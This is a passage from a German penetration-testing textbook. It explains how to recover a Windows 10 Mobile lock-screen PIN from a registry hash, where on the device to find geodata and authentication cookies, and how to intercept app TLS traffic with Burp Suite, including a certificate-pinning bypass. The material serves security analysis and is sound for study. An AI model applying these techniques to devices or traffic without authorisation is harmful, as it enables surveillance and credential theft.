der Applikation direkt erklärbar –, lohnt sich meist ein Blick in den Quellcode,
um herauszufinden, was die Applikation mit diesen Rechten vorhat. Wie man
hierbei vorgeht, ist in Abschnitt 7.2 exemplarisch beschrieben.

8.2 Spurensuche im Dateisystem 189
Abb. 8–1: Datenschutzeinstellungen in Windows 10 Mobile
8.2 Spurensuche im Dateisystem
Wie wir schon bei Android (in Abschnitt 4.7) und iOS (in Abschnitt 6.4) gesehen
haben, besteht eine sehr wichtige Aufgabe bei einem Penetrationstest darin, die
Speicherung der Daten zu analysieren, die eine Applikation verarbeitet. Auch bei
Windows 10 Mobile lassen sich hier sehr häufig Hinweise auf Nutzerdaten (wie
z. B. Passwörter) und sensible Dokumente finden, die mit der Applikation zuvor
verarbeitet wurden.
Im Rahmen der kommenden Abschnitte sehen wir uns interessante Daten
und deren Speicherort an, die für einen Sicherheitsanalysten immer einen Blick
wert sind. Zu diesen Orten zählen neben den Nutzer- und Applikationsdaten
(Abschnitt 8.2.2) auch die Cache-Dateien und Cookies der Applikation (Abschnitt
8.2.3).
Ähnlich wie auch bei Android gibt es bei Windows 10 Mobile bekannte Wege,
wie man an der Bildschirmsperre vorbeikommt, ohne dass man die Mitarbeit
des Nutzers erhält. Darauf gehen wir in Abschnitt 8.2.1 kurz ein.

190 8 Sicherheitsprobleme bei Windows-10-Mobile-Applikationen
8.2.1 Die PIN-Sperre brechen
Um bei einem Windows-10-Mobile-Endgerät die PIN des Nutzers zu berechnen,
ist es – wie auch schon bei Android – nötig, Zugriff auf das unverschlüsselte
Dateisystem zu haben. Dieser Punkt ist immer einer der strittigsten, denn wenn
man schon Zugriff auf das Dateisystem hat, wieso soll man sich dann noch die
Mühe machen, die PIN für die Bildschirmsperre mühselig zu berechnen? Ganz
einfach: Die meisten Nutzer verwenden diese PIN auch an anderen Stellen auf
dem Smartphone. Hierzu zählen u. a. weitere Applikationen, die zusätzlich mit
einer PIN geschützt sind, oder auch der Login an einem Windows 10-Rechner im
Büro. Somit kann es also durchaus lohnenswert sein, die PIN auf dem Smartphone
zu berechnen (wo man weiß, wie es geht).
Francesco Picasso und Mattia Epifani (beide von Zena Forensic) sowie Adrian
Leong (bekannt unter dem Pseudonym Cheeky4n6Monkey) haben in mehreren
Veröffentlichungen gezeigt, wie man an die PIN des Nutzers auf einem
Windows-10-Mobile- und Windows-Phone-8.x-Endgerät gelangt. Im Folgenden
wird dies kurz zusammengefasst und das Wichtigste daraus für einen Sicherheitsanalysten
dieser Plattform demonstriert. Sie haben auch zwei Python-Skripte1 , 2
zur Verfügung gestellt, die das Berechnen der PIN übernehmen.
Zur Demonstration nehmen wir an, dass der PIN-Code eines Windows-10-
Mobile-Endgerätes 5338 lautet. Nun stellt sich also die Frage, wie kommen wir
an diesen Code, wenn wir nur das Gerät haben?
Im ersten Schritt benötigen wir Root-Zugriff oder einen physischen Dump des
Endgerätes, der z. B. durch Auslesen des Speichers gewonnen werden kann. Dieser
Schritt ist mit Abstand der aufwendigste, vor allem wenn es um das Erstellen eines
physischen Abbilds geht, da man hierfür teure Spezialhardware und eine Menge
an Übung benötigt. Für unser Beispiel gehen wir davon aus, dass wir Root-Zugriff
auf das Endgerät haben.
Im zweiten Schritt wollen wir erste Hinweise auf die PIN finden. Dazu wechseln
wir in die Registry und dort in den SOFTWARE-Hive. Innerhalb dieses Hives
suchen wir nach \Microsoft\Comms\Security\DeviceLock\. An dieser Stelle sollten
wir nun mehrere Verzweigungen finden, die ObjectXXX heißen (wobei XXX eine
zwei- oder dreistellige Nummer ist). In jeder dieser Verzweigungen kann sich der
entscheidende Hinweis auf die PIN – nämlich der CredentialHash – befinden. In
unserem Beispiel sieht er wie folgt aus:
1 winphonepincrk:
https://github.com/RealityNet/hotoloti/blob/master/sas/winphonepincrk.py
2 wp8-sha256-pin-finder:
https://github.com/cheeky4n6monkey/4n6-scripts/blob/master/wp8-sha256-pin-finder.py

8.2 Spurensuche im Dateisystem 191
80 00 00 00 0E 00 00 00 20 00 00 00 0E A6 31 F7
C9 A4 71 58 20 7C C1 4D D5 B1 55 AF 87 0E 95 1C
35 7C F4 A2 0E 4F 83 A5 26 1F D9 01 1D 25 AB 2D
D1 5B D2 FE D4 DC 7E 49 33 86 2B E5 A3 B9 1F 6D
A7 59 A0 31 0B 59 A7 E3 59 30 51 1C 4F B5 EC 8F
7E D0 9A 07 A7 A2 8B 26 A7 CC 15 F0 FC AF F7 E4
24 7D A0 9E 0B EB 2B 78 50 5B DA 5B B6 C6 76 C3
05 BB BC 2C 06 9E E0 00 39 3B ED 24 E6 86 D3 5D
21 A1 E8 9D 99 C3 70 67 C9 F4 DD ED 53 00 48 00
41 00 32 00 35 00 36 00 00 00 F9 CD B5 90 E8 7D
9F 88 1E 6A FF 5E C9 BB 5C 0B 27 7E 21 48 9D 9B
89 3F 84 13 82 3A A9 9D 10 36
Der Aufbau dieses Byte-Arrays ist recht einfach, wie man auch schon an der
Hervorhebung sehen kann:
Das erste DWORD (also die ersten 4 Byte) gibt die Länge des Salt an, mit
dem unser Hash so manipuliert wird, damit das Verwenden einer Rainbow Table
nicht möglich wird (0x80, was 128 Byte entspricht). Das zweite DWORD gibt
die Länge des Strings an, der den Hashalgorithmus beschreibt (0x0E, was 14 Byte
entspricht), und das dritte DWORD steht für die Länge des eigentlichen gesalzenen
Hashes unserer PIN (0x20, was 32 Byte entspricht).
Durch diese Längenangaben können wir nun also schon alle drei Bestandteile
– die wir im weiteren Verlauf benötigen – extrahieren:
1. Salt
2. Hashalgorithmus
3. Gesalzener Hash unserer PIN
Um den Hashalgorithmus in für uns verständlicher Form zu bekommen, müssen
wir nur die Bytefolge 53 00 48 00 41 00 32 00 35 00 36 00 00 00 von Hex in
ASCII umwandeln, was SHA256 ergibt.
Nun können wir entweder manuell eine PIN, von der wir vermuten, dass sie
die vom Nutzer verwendete ist, mittels des folgenden Pseudocodes überprüfen
oder wir können die zuvor schon erwähnten Python-Skripte von Francesco Picasso
oder Adrian Leong verwenden, die einen Brute-Force-Angriff auf unsere
extrahierten Werte starten.
SHA256(UTF-16LE() + Salt) == gesalzener Hash
8.2.2 Applikations- und Geodaten finden
Nachdem wir nun zum einen die PIN des Nutzers kennen und damit die Bildschirmsperre
umgehen können, aber zum anderen auch Root-Rechte im Datei-

192 8 Sicherheitsprobleme bei Windows-10-Mobile-Applikationen
system haben, können wir uns hier auch nach interessanten Daten des Nutzers
und der installierten Applikationen umschauen.
Für die Applikationen selbst und ihre Daten ist das deutlich einfacher, da sie
alles, was sie auf dem Gerät lokal ablegen können, nur in ihrer eigenen Sandbox
speichern können. Diese befindet sich unter C:\Data\Users\DefApps\APPDATA\Local\
Packages\. Hier finden wir alle Datenbanken, auf die die ausgewählte
Applikation Zugriff hat, aber auch alle Dokumente, die sie zwischenspeichert
oder zum Analysezeitpunkt geöffnet hat. Hier sehen wir auch, ob eine Applikation
die lokalen Daten verschlüsselt – also selbst dafür sorgt, dass sie vor
unberechtigten Dritten geschützt sind – oder ob sie sich voll auf das darunterliegende
Betriebssystem verlässt.
Ebenso wichtig wie die Daten der Applikationen selbst sind auch Daten, die
den Nutzer des Endgerätes betreffen. Wo befand sich der Nutzer (oder zumindest
das Smartphone) zu einem bestimmten Zeitpunkt?
Um diese Frage beantworten zu können, benötigen wir Geodaten, die das
Smartphone für uns abgelegt hat. Im Folgenden werden ein paar der gängigen
Orte aufgezeigt, wo man diese Art der Daten außerhalb von manuell installierten
Applikationen noch finden kann. Hierzu zählt z. B. der Verlauf der Funktion
FindMyPhone, die Microsoft seit Windows Phone 8 anbietet. Diese Daten liegen
auf dem Endgerät in csd-Dateien unter C:\Data\Users\APPDATA\Local\dcpsvc\
StagingFiles\.
Ebenso finden sich u. U. Geodaten in den Daten von Cortana, dem Sprachassistenten
von Windows 10. Hier gibt es sogenannte Grammar-Dateien, die im Dateisystem
unter C:\Data\SharedData\Speech\Grammars\ enthalten sind. Für Geodaten
sind die Dateien PointsOfInterestGrammar.cfp.txt und PointsOfInterest2Grammar
.cfp.txt besonders von Interesse, da sich hier alle Orte befinden, die der Nutzer
Cortana beigebracht hat, also z. B. so etwas wie »Zuhause« oder »Arbeit« –
selbstverständlich mit den zugehörigen GPS-Daten.
Schlussendlich gibt es – wie üblich für die meisten der aktuellen Browser –
auch noch GPS-Daten innerhalb der Vorschläge des Browsers, die er dem Nutzer
während der Suchanfragen gemacht hat. Diese findet man in der Registry
im SOFTWARE-Hive unter Microsoft\BingSuggests. Im selben Hive, jedoch unter
OEM\Nokia\NokiaAccessories\Devices\, findet man auch einen Eintrag,
wo das Gerät zuletzt aktiv war.
Mit diesen Hinweisen und den analysierten Applikationsdateien kann man
die Frage nach dem Aufenthalt des Endgerätes und damit auch seines Besitzers
in den meisten Fällen recht zuverlässig beantworten. Wichtig dabei ist jedoch,
immer zu beachten, dass man nie einer einzelnen Quelle ohne weitere Hinweise
glauben sollte. Es gab schon viele Fälle, wo ein Gerät falsche Geodaten zu einem
Ereignis abgelegt hat.

8.3 Fehlende systemeigene Sicherheitsfunktionen ... 193
Wer noch tiefer in die Forensik von Nutzerdaten unter Windows 10 Mobile
einsteigen möchte, sollte sich auf jeden Fall den Blogeintrag3 von Adrian Leong
zu diesem Thema genauer anschauen.
8.2.3 Cookies und Web-Cache finden und analysieren
Windows-10-Mobile-Applikationen, die eine Browser- oder Webview-Funktionalität
anbieten – was auf die Mehrzahl der vorhandenen Applikationen zutrifft
–, verwenden hierzu den Basisquellcode aus der API-Dokumentation. Diese
Beispielimplementationen enthalten keine Hinweise darauf, wie man angelegte
Cookies auch wieder löscht, sobald sie nicht mehr benötigt werden. Genau das
können wir uns als Analysten oder Angreifer zunutze machen, um nach Cookies
zu suchen, die zur Authentifizierung verwendet werden.
Auf einem Windows-10-Mobile-Endgerät finden wir diese Cookies unter
C:\Data\Users\DefApps\APPDATA\\INetCookies\. Dabei ist jedoch zu beachten,
dass das Verzeichnis INetCookies im System als versteckt definiert ist und
man den Pfad von Hand eingeben muss, der Dateiexplorer wird dieses Verzeichnis
beim Browsen durch den Verzeichnisbaum nicht angeben.
Möchte man als Entwickler verhindern, dass ein Angreifer oder Analyst diese
Cookies finden und gegen den Nutzer verwenden kann, so reicht es aus, beim
Beenden der Applikation oder beim Sperren des Bildschirms dafür zu sorgen, dass
die eigene Applikation die Cookies löscht. Dies gelingt z. B. durch Verwenden der
ClearCookiesAsync()-API.
Was für die Cookies gilt, gilt leider auch für den HTTP- und HTTPS-Cache
der Applikation. Dieser befindet sich wieder in einem versteckten Verzeichnis.
Diesmal jedoch unter: C:\Data\Users\DefApps\APPDATA\\INetCache\. Hier
findet man alles, was die Applikation durch die Browser- oder Webview-Funktionalität
auf das Endgerät zum Zwischenspeichern heruntergeladen hat.
8.3 Fehlende Sicherheitsfunktionen in
Windows-10-Mobile-Applikationen erkennen
Wie wir schon bei iOS gesehen haben, gibt es auch bei Applikationen für Windows
10 Mobile (sowie auch für die Vorgängerversionen Windows Phone 7.x
und 8.x) einige Sicherheitsfunktionen, die für native Bestandteile der Applikation
implementiert sein müssen. Hierzu zählen u. a. die folgenden:
■
■
■
ALSR
DEP
AppContainer Checks
3 An Initial Peep at Windows 10 Mobile: http://cheeky4n6monkey.blogspot.de/2016/
04/an-initial-peep-at-windows-10-mobile.html

194 8 Sicherheitsprobleme bei Windows-10-Mobile-Applikationen
■
■
■
■
■
WX Check
Executable Import Checks
Shared Section Checks
Stack Overflow Protection
Stack Cookies Checks
Um diese Funktionen zu prüfen, bietet Microsoft ein eigenes Tool an: BinScope
Binary Analyzer4 . Hiermit ist es über eine gut strukturierte Oberfläche möglich,
alle Features zu prüfen, die innerhalb einer Applikation vorhanden sein sollten
(siehe dazu auch Abbildung 8–2).
Abb. 8–2: BinScope Binary Analyzer-Konfiguration
Bei diesem Vorgehen ist jedoch zu beachten, dass man BinScope nicht mit der
gepackten Applikation als xap- oder appx-Datei füttern darf. Man muss zuerst die
Applikation entpacken und kann dann die nativen Bestandteile der Applikation
einzeln mithilfe von BinScope analysieren. Gerade bei großen Applikationen mit
vielen Bestandteilen macht es das sehr aufwendig.
Für jedes der analysierten Binaries gibt es nach Abschluss der Prüfung eine
Übersicht innerhalb von BinScope mit Details zu den nicht bestandenen Tests
(siehe Abbildung 8–3 für ein Beispiel) und einen ausführlicheren Bericht, den man
sich als CSV- oder XML-Datei exportieren kann (siehe dazu Abbildung 8–4).
Viele dieser Checks sind bereits Bestandteil der Zertifizierung durch Microsoft
und gehören somit zu den Bedingungen, damit eine Applikation in den offiziellen
Store aufgenommen werden kann. Jedoch sollte man beim Betrachten
4 BinScope Binary Analyzer: https://www.microsoft.com/en-us/download/details.aspx?
id=44995

8.3 Fehlende systemeigene Sicherheitsfunktionen ... 195
Abb. 8–3: BinScope Binary Analyzer-Ergebnis
Abb. 8–4: BinScope Binary Analyzer-Bericht
einer Windows-10-Mobile-Applikation immer die vollständige Prüfung mittels
BinScope vornehmen, um sicherzustellen, dass der Entwickler auch alle notwendigen
und empfohlenen Sicherheitsfunktionen in die Applikation implementiert
hat.

196 8 Sicherheitsprobleme bei Windows-10-Mobile-Applikationen
8.4 Weitere Angriffsvektoren erkennen
Neben den in diesem Kapitel bereits erwähnten Einstiegspunkten in eine Applikation
gibt es noch weitere sogenannte Angriffsvektoren, die man bei einer Sicherheitsuntersuchung
einer Applikation in Betracht ziehen sollte. Hierzu zählen
vor allem registrierte Handler für Dateitypen oder Protokolle. Die Arbeit von uns
Analysten liegt hier im eigentlichen Fuzzing, dem Füttern der Applikation mit
Eingaben, die sie an dieser Stelle nicht erwartet.
8.4.1 Handler für Dateitypen
Codebeispiel 8–1 zeigt einen einfachen Auszug aus einem Windows-10-Mobile-
Manifest mit der Deklaration von zwei Dateitypen: .txt und .docx. Eine Applikation,
die diese Tags in ihrem Manifest hat, ist in der Lage, Dateien mit den
beiden erwähnten Dateiendungen zu öffnen. Da viele der Applikationen noch für
den Vorgänger Windows Phone 8.x erstellt wurden, ist in Codebeispiel 8–2 der
Auszug aus einem entsprechenden Manifest dargestellt.
.txt
.docx
Codebeispiel 8–1: Auszug aus einem Windows-10-Mobile-Manifest mit deklarierten Dateitypen
.txt
.docx
Codebeispiel 8–2: Auszug aus einem Windows-Phone-8.x-Manifest mit deklarierten Dateitypen
Dabei ist gerade bei .docx-Dateien die Möglichkeit vorhanden, dass eingebetteter
Code beim Öffnen der Datei von der Applikation ausgeführt wird, was bei fehlerhaften
Prüfroutinen zu ungewollten Aktionen führen kann. Solche Angriffsvektoren
sollten immer kontrolliert werden, da sich hier gravierende Sicherheitslücken
verstecken können und schadhafte Office-Dokumente in der Vergangenheit immer
wieder Einstiegspunkte für Angriffe und Infektionen waren.

8.5 Zusammenfassung 197
8.4.2 Handler für eigene Protokolle
Neben den gerade erwähnten Handler für Dateitypen gibt es auch die Möglichkeit,
eigene Protokolle mit einer Applikation zu verbinden. Dies ist bei vielen
aktuellen Applikationen – wie z. B. Facebook, Twitter oder Syncplicity – der Fall.
In Codebeispiel 8–3 ist ein Auszug aus einem Manifest abgebildet, bei dem
die zugehörige Applikation auf Protokolle des Typs hackme:// reagiert. Dies bedeutet,
dass jedes Mal, wenn in irgendeiner anderen Applikation oder dem Browser
ein Link auftaucht, der mit diesem Protokoll-Handler beginnt, die zugehörige
Applikation gestartet und der Link interpretiert bzw. verarbeitet wird. Hat die
Applikation Schwächen in der Validierung der Übergabewerte – also in dem Bestandteil,
der dem Protokoll-Handler hackme:// folgt –, können diese Schwächen
von Angreifern, aber auch von Analysten ausgenutzt werden, um der Applikation
Informationen zu entlocken, die sie eigentlich nicht preisgeben würde.
Codebeispiel 8–3: Auszug aus einem AppManifest.xml mit deklarierten Protokollen
8.5 Zusammenfassung
Wie man an anhand dieses Kapitels – vor allem im Vergleich zu den entsprechenden
Kapiteln für Android und iOS – erkennen kann, ist die Windows-10-Mobile-
Welt noch relativ unerforscht, was die Analyse der Applikationen und der darin
enthaltenen potenziellen Sicherheitslücken angeht. Auch die Auswahl an Werkzeugen
oder Leitfäden, die einen Analysten hier unterstützen, sind im Vergleich
zu den anderen Betriebssystemen nahezu nicht vorhanden.
Trotz allem wurden einige hilfreiche Werkzeuge und Einstiegspunkte in die
Analyse demonstriert sowie Hinweise gegeben, wo es sich lohnt, etwas genauer
hinzuschauen und mehr manuelle Arbeit zu investieren. Dabei sind vor allem
der Bereich der forensischen Analyse (Abschnitt 8.2) und die Zugriffe auf sensible
Daten (Abschnitt 8.1) wichtige Aspekte einer Applikationsuntersuchung und
sollten daher auf jeden Fall durchgeführt werden.
Wer es im Alltag noch mit den älteren Versionen dieser Applikationen zu tun
hat, der findet eine sehr gute Betrachtung der Sicherheit von Windows-Phone-
8.x-Applikationen in einem Whitepaper5 von MWR-Labs [12].
5 Whitepaper zur Sicherheit von Windows-Phone-8.x-Applikationen: https://
labs.mwrinfosecurity.com/publications/windows-phone-8-application-security-slidessyscan-2014/

199
9 Angriffe auf die Datenübertragung
In der heutigen Zeit, in der es den Nutzern immer mehr auf die Sicherheit der
privaten Daten ankommt und die Bevölkerung sehr stark den Bereich des Datenschutzes
und der Privatsphäre schätzt, sind auch mobile Applikationen von
diesem wichtigen Trend betroffen.
Im Wesentlichen werden wir in diesem Kapitel auf die drei häufigsten der
möglichen Angriffe auf eine mit SSL gesicherte Verbindung zwischen Applikation
und Backend eingehen: klassische Man-in-the-Middle-Angriffe mit (nicht-)
vertrauenswürdigen Zertifikaten, die Umgehung des Certificate Pinning sowie
SSL-Strip.
9.1 Schutz der übermittelten Daten auf dem
Transportweg
Immer mehr Webseiten und -services bieten ihren Dienst nur noch per verschlüsselter
Verbindung an, um damit die Datenübermittlung auf dem Transportweg
vor unberechtigten Dritten zu schützen. Im Volksmund wird diese Verschlüsselung
oft Secure Sockets Layer (SSL) genannt – auch wenn dies für heutige Verbindungen
meist nicht mehr zutrifft.
SSL war der Grundstein, auf dem in den vergangenen Jahren viele neue Verschlüsselungsstandards
aufgebaut wurden. Jedoch sind vor allem die älteren SSL-
Protokollversionen in den vergangenen Jahren Ziel von standardisierten Angriffen
geworden oder besitzen gravierende Schwächen in der Implementierung, die
eine Sicherheit der Übertragung nicht mehr gewährleisten. Heutzutage verwenden
die meisten Webseiten daher die neueren Protokollversionen, die unter dem
Namen Transport Layer Security (TLS) bekannt sind. Der aktuelle Standard ist
TLS1.2. Im Rahmen dieses Buches halten auch wir uns an die gebräuchliche Deklaration
und verwenden SSL als Synonym für alle Protokollversionen.
Auf welche Protokollversion sich die Applikation und der Backend-Server
einigen, ist für die im Folgenden gezeigten Angriffe jedoch nicht von Interesse:
Wir konzentrieren uns hierbei nicht auf Schwachstellen in der Implementierung
des Protokolls selbst, sondern nur auf Schwachstellen oder Designfehler in der
Anbindung dieser Protokolle innerhalb der mobilen Applikationen. Denn dies

200 9 Angriffe auf die Datenübertragung
sind auch die Fehler, die ein Entwickler schnell beseitigen kann, um die Sicherheit
und das Vertrauen in die Applikation wieder herzustellen.
Exkurs: SSL-Verbindung
Prinzipiell handelt es sich bei einer SSL-Verbindung um ein hybrides Verschlüsselungsprotokoll
zur sicheren Datenübertragung, d. h., es kommt sowohl eine symmetrische
Verschlüsselung (beim Session-Key) als auch eine asymmetrische Verschlüsselung
(beim Schlüsselaustausch) zum Einsatz. Dabei baut der Client (hier
die mobile Applikation) eine Verbindung zum Backend-Server auf. Der Backend-
Server authentisiert sich gegenüber dem Client mit einem X.509-Zertifikat, das vom
Client speziell in Bezug auf die Gültigkeit und die Übereinstimmung des Servernamens
geprüft wird.
Im Anschluss an eine erfolgreiche Prüfung schickt entweder der Client dem
Server eine mit dem öffentlichen Schlüssel des Servers verschlüsselte geheime
Zufallszahl oder die beiden Parteien berechnen mithilfe des Diffie-Hellman-
Schlüsselaustauschs ein gemeinsames Geheimnis. Aus dem Geheimnis wird dann
ein kryptografischer Schlüssel abgeleitet, der in der Folge genutzt wird, um alle
Nachrichten der Verbindung mit einem symmetrischen Verschlüsselungsverfahren
zu verschlüsseln und somit vor unberechtigten Dritten zu schützen.
9.2 Man-in-the-Middle-Angriffe
Ziel des Man-in-the-Middle-Angriffs (MitM) ist es, sich Schwächen in der Implementierung
einer Applikation zunutze zu machen, um sich in diese Verbindung
einzuklinken und den übermittelten Datenstrom zu entschlüsseln.
Bei Angriffen dieser Art setzt sich der Angreifer, oder in unserem Fall der Sicherheitsanalyst,
zwischen das mobile Endgerät und den Backend-Server. Dies
geschieht entweder dadurch, dass der Rechner des Analysten als Proxy für
HTTP- und HTTPS-Verbindungen konfiguriert wird, oder durch sogenannte
ARP-Spoofing-Angriffe, bei der der Rechner des Analysten vorgibt, der Router
zu sein. In beiden Fällen erhält der Analyst alle Datenpakete und kann selbst
bestimmen, wohin sie weitergeleitet werden.
Der obere Bereich von Abbildung 9–1 zeigt eine schematische Darstellung
einer normalen HTTPS-Verbindung zwischen einer mobilen Applikation und einem
Backend-Server. Der untere Bereich hingegen stellt die Verbindung bei einem
erfolgreich durchgeführten MitM-Angriff dar.
Da für diese Angriffe die Zertifikate ausgetauscht werden, die zur Authentifizierung
des Backend-Servers und zur Verschlüsselung der Verbindung bestimmt
sind, unterscheiden wir zwei Fälle: nicht vertrauenswürdige und vertrauenswürdige
Zertifikate.

9.2 Man-in-the-Middle-Angriffe 201
HTTPS-Anfrage
HTTPS-Antwort
HTTPS-Anfrage
HTTPS-Antwort
HTTPS-Anfrage
HTTPS-Antwort
Aufbrechen der
HTTPS-Verschlüsselung
Abb. 9–1: Schematische Darstellung eines Man-in-the-Middle-Angriffs
9.2.1 Man-in-the-Middle-Angriff mit nicht vertrauenswürdigem
Zertifikat
Um den Netzwerkverkehr einer Applikation zu überwachen, benötigen wir nun
noch einen Proxy, der sich in die Verbindung einklinkt und so alles mitschneiden
kann. Hierfür verwenden wir Burp Suite1 . Tools wie mitmproxy2 oder
Charles Proxy3 können hierfür ebenfalls verwendet werden und sind – im Fall
von mitmproxy – sogar als kostenlose Open-Source-Varianten erhältlich. Die in
den folgenden Abschnitten verwendete Burp Suite ist in Java geschrieben, daher
benötigen wir keine Installation, ein einfacher Download und das nachfolgende
Ausführen der JAR-Datei reicht völlig aus.
Nach dem erfolgreichen Start der Burp Suite müssen wir das Programm nun
so konfigurieren, dass es als Proxy fungiert und für das mobile Endgerät mit
der zu testenden Applikation erreichbar ist. Dies gelingt uns am einfachsten über
Proxy → Options → Proxy Listeners → Edit → Binding. Dort setzen wir den Haken
bei All Interfaces (siehe Abbildung 9–2). Wenn bekannt ist, auf welchem
Interface das Testgerät lauscht, kann hier auch die entsprechende IP-Range eingetragen
werden, um nicht eventuell Datenverkehr von anderen Programmen oder
Geräten mitzuschneiden.
Als nächsten Schritt müssen wir nun das mobile Endgerät dazu bringen, dass
es diesen Proxy auch verwendet. Dies erreichen wir, indem wir die IP und den
Port des Proxy in die Verbindungseinstellungen des Endgerätes eintragen.
■
Android: Einstellungen → WLAN → lange auf das Lab-Wi-Fi klicken, bis ein
Auswahlfenster erscheint → Netzwerk ändern → Haken setzen bei Erweiterte
1 Burp Suite: https://portswigger.net/burp/
2 mitmproxy: https://mitmproxy.org
3 Charles Proxy: http://www.charlesproxy.com/

202 9 Angriffe auf die Datenübertragung
Abb. 9–2: Einrichten des Proxy Listeners in der Burp Suite
■
■
Optionen → den Proxy auf Manuell setzen und Port sowie IP des Analyserechners
eintragen.
iOS: Einstellungen → WLAN → auf das i○ in der Zeile des Lab-Wi-Fi klicken →
den Proxy auf Manuell setzen und Port sowie IP des Analyserechners eintragen.
Windows 10 Mobile: Einstellungen → WLAN → Verwalten → Lab-Wi-Fi → den
Schieber bei Proxy auf Ein schalten → Port sowie IP des Analyserechners eintragen.
Um nun zu testen, ob wir alles richtig eingerichtet haben, reicht es, im Browser
des mobilen Endgerätes auf die Google-Startseite zu wechseln. In Abbildung 9–3
ist dies exemplarisch mit einem Android-Emulator dargestellt.
Sollte beim Versuch, die Google-Startseite aufzurufen, eine Warnung eingeblendet
werden, die im Wesentlichen aussagt, dass dem Zertifikat von Google
nicht vertraut wird und die Verbindung eventuell unsicher ist, so liegt das daran,
dass Burp standardmäßig sogenannte Self-signed-Zertifikate verwendet, die keine
Vertrauensbasis zu den auf dem Gerät installierten Root-Zertifikaten besitzt. Diese
Meldung kann oft mit einem einfachen Klick auf Weiter übersprungen werden,
würde bei einem realen Angriff aber vermutlich für erstes Misstrauen sorgen.
Für uns als Sicherheitsanalysten sollte allerdings die Tatsache, dass eine zu
testende Applikation keine Warnmeldung anzeigt, viel mehr Misstrauen hervorrufen,
da dies ein Anzeichen dafür ist, dass die Applikation die Serverzertifikate
nicht korrekt prüft. Dies ist im Bereich der Sicherheitsüberprüfung von mobilen
Applikationen eine der gravierendsten Schwachstellen, da hierüber alle Nutzer

9.2 Man-in-the-Middle-Angriffe 203
Abb. 9–3: Testen der Proxy-Einrichtung am Beispiel der Google-Startseite und eines
Android-Emulators
der Applikation betroffen sind und eine sichere Übertragung der Daten zwischen
mobilem Endgerät und Backend-Server nicht mehr gewährleistet ist. Klassische
Szenarien für solche Angriffe in der freien Wildbahn sind manipulierte WLAN-
Netze, die unter Kontrolle eines Angreifers stehen (meist an öffentlichen Orten
wie Cafés oder Flughäfen).
Hat der Entwickler der Applikation alles richtig gemacht, so verweigert die
Applikation die Kommunikation mit einem nicht vertrauenswürdigen Zertifikat,
und unsere Aufzeichnung in der Burp Suite bleibt ohne sensible Daten aus der
Applikation.
9.2.2 Man-in-the-Middle-Angriff mit vertrauenswürdigem
Zertifikat
Um etwaige Fehlermeldungen bzw. Warnungen oder sogar das Verweigern einer
Verbindung zu umgehen, ist es nötig, dass das Endgerät davon ausgeht, dass
unser Burp-Suite-Zertifikat (das für die Verschlüsselung des Netzwerkverkehrs
zwischen Endgerät und Proxy verwendet wird) ein gültiges und vertrauenswürdiges
Zertifikat ist. Dies erreichen wir, indem wir das Burp-Suite-Root-Zertifikat in
unseren Trusted Certificate Store importieren und so eine gültige Vertrauensbasis
schaffen. Dazu müssen wir wie folgt vorgehen:
1. Extrahieren des Root-Zertifikates aus der Burp Suite (Proxy → Options →
Proxy Listeners → CA Certificate... → Export Certificate in DER format →
Next → burp.cer), wie in Abbildung 9–4 gezeigt.
2. Importieren des Root-Zertifikates in das mobile Endgerät.
■
Android: adb push burp.cer /sdcard/Downloads/ und danach auf dem
Endgerät selbst Einstellungen → Sicherheit → Von Speicher installieren
→ Downloads → burp.cer auswählen und für Wi-Fi importieren.

204 9 Angriffe auf die Datenübertragung
Abb. 9–4: Export des SSL-Root-Zertifikats aus Burp
■
■
iOS: Am einfachsten ist es, wenn wir uns das burp.cer-Zertifikat per
E-Mail an das Testgerät senden. Dort können wir per Klick auf den
E-Mail-Anhang das Zertifikat direkt installieren. Als Alternative können
wir mittels Safari auf die URL http://burp/cert surfen und von dort das
Zertifikat importieren.
Windows 10 Mobile: Am einfachsten ist es auch hier, wenn wir wie bei
iOS beschrieben vorgehen.
3. Erneuter Test der Verbindung – diesmal sollten keine Warnungen mehr erscheinen.
Für Entwickler von sensiblen Applikationen gibt es nur eine Möglichkeit, sich gegen
einen solchen Angriff zu schützen: Certificate Pinning. Bei diesem Verfahren
werden bestimmte Punkte in der Vertrauenskette des Zertifikats fest verankert,
sodass selbst bei gültiger Kette zu einem vertrauenswürdigen Root-Zertifikat das
verwendete Zertifikat abgelehnt wird. Wie man diese Schutzmechanismen umgeht,
erfahren Sie im kommenden Abschnitt.
9.2.3 Angriffe bei aktiviertem Certificate Pinning
Die Königsdisziplin ist das Mitschneiden der verschlüsselten Kommunikation bei
aktiviertem Certificate Pinning. Dies ist auf aktuellen Geräten nur möglich, wenn
der Analyst oder Angreifer Root-Zugriff auf das mobile Endgerät erhält und in
der Lage ist, weitere Werkzeuge zu installieren oder die Applikation zur Laufzeit
zu manipulieren. Prinzipiell gibt es zwei Arten des Vorgehens, um das Certificate
Pinning zu umgehen:

9.2 Man-in-the-Middle-Angriffe 205
■
■
Die erste Variante ist sehr aufwendig und erfordert tiefes Verständnis des
Betriebssystems sowie der verwendeten Programmiersprache bzw. eingebetteten
Bibliotheken. Hier versucht der Analyst, sämtliche Stellen im Code der
Applikation zu finden, in denen die SSL-Zertifikate geprüft werden. An diesen
Stellen ändert er die Prüfung nun so ab, dass das manipulierte Zertifikat
akzeptiert wird. Je nach Grad der Obfuskierung einer Applikation ist dies
enorm zeitaufwendig.
Der zweite Ansatz ist toolgestützt und wird im weiteren Verlauf des Abschnitts
dargestellt. Hier übernimmt ein Tool die zuvor beschriebenen Aufgaben
automatisiert durch sogenanntes API-Hooking. Problematisch ist hierbei
jedoch, dass die Tools nur die API-Zugriffe überwachen und manipulieren
können, die sie auch kennen. Verwendet eine Applikation also eigene Bibliotheken
oder ändert sich etwas an den Systemschnittstellen, so kann es sein,
dass diese Tools nicht mehr ordnungsgemäß funktionieren.
Da dieses Vorgehen auf den verschiedenen mobilen Plattformen deutliche Unterschiede
besitzt, werden wir die einzelnen Plattformen nachfolgend separat betrachten.
Android
Für unser Vorgehen benötigen wir hier erneut unser bereits in den vorherigen
Kapiteln beschriebenes Werkzeug zur Laufzeitmanipulation von Applikationen:
Cydia Substrate. In diesem Fall brauchen wir die Erweiterung Android-SSL-
TrustKiller4 von iSEC Partners.
Diese Erweiterung sorgt dafür, dass alle Methodenaufrufe einer Applikation,
die für die Verifikation eines SSL-Zertifikates verantwortlich sind, den Wert TRUE
zurückliefern, egal ob die Prüfung erfolgreich war oder nicht. Hierdurch ist es nun
möglich, das Certificate Pinning zu umgehen und wieder, wie in Abschnitt 9.2.2
gezeigt, die Verschlüsselung der Verbindung aufzubrechen. Auf unserem Testgerät
gehen wir dazu wie folgt vor:
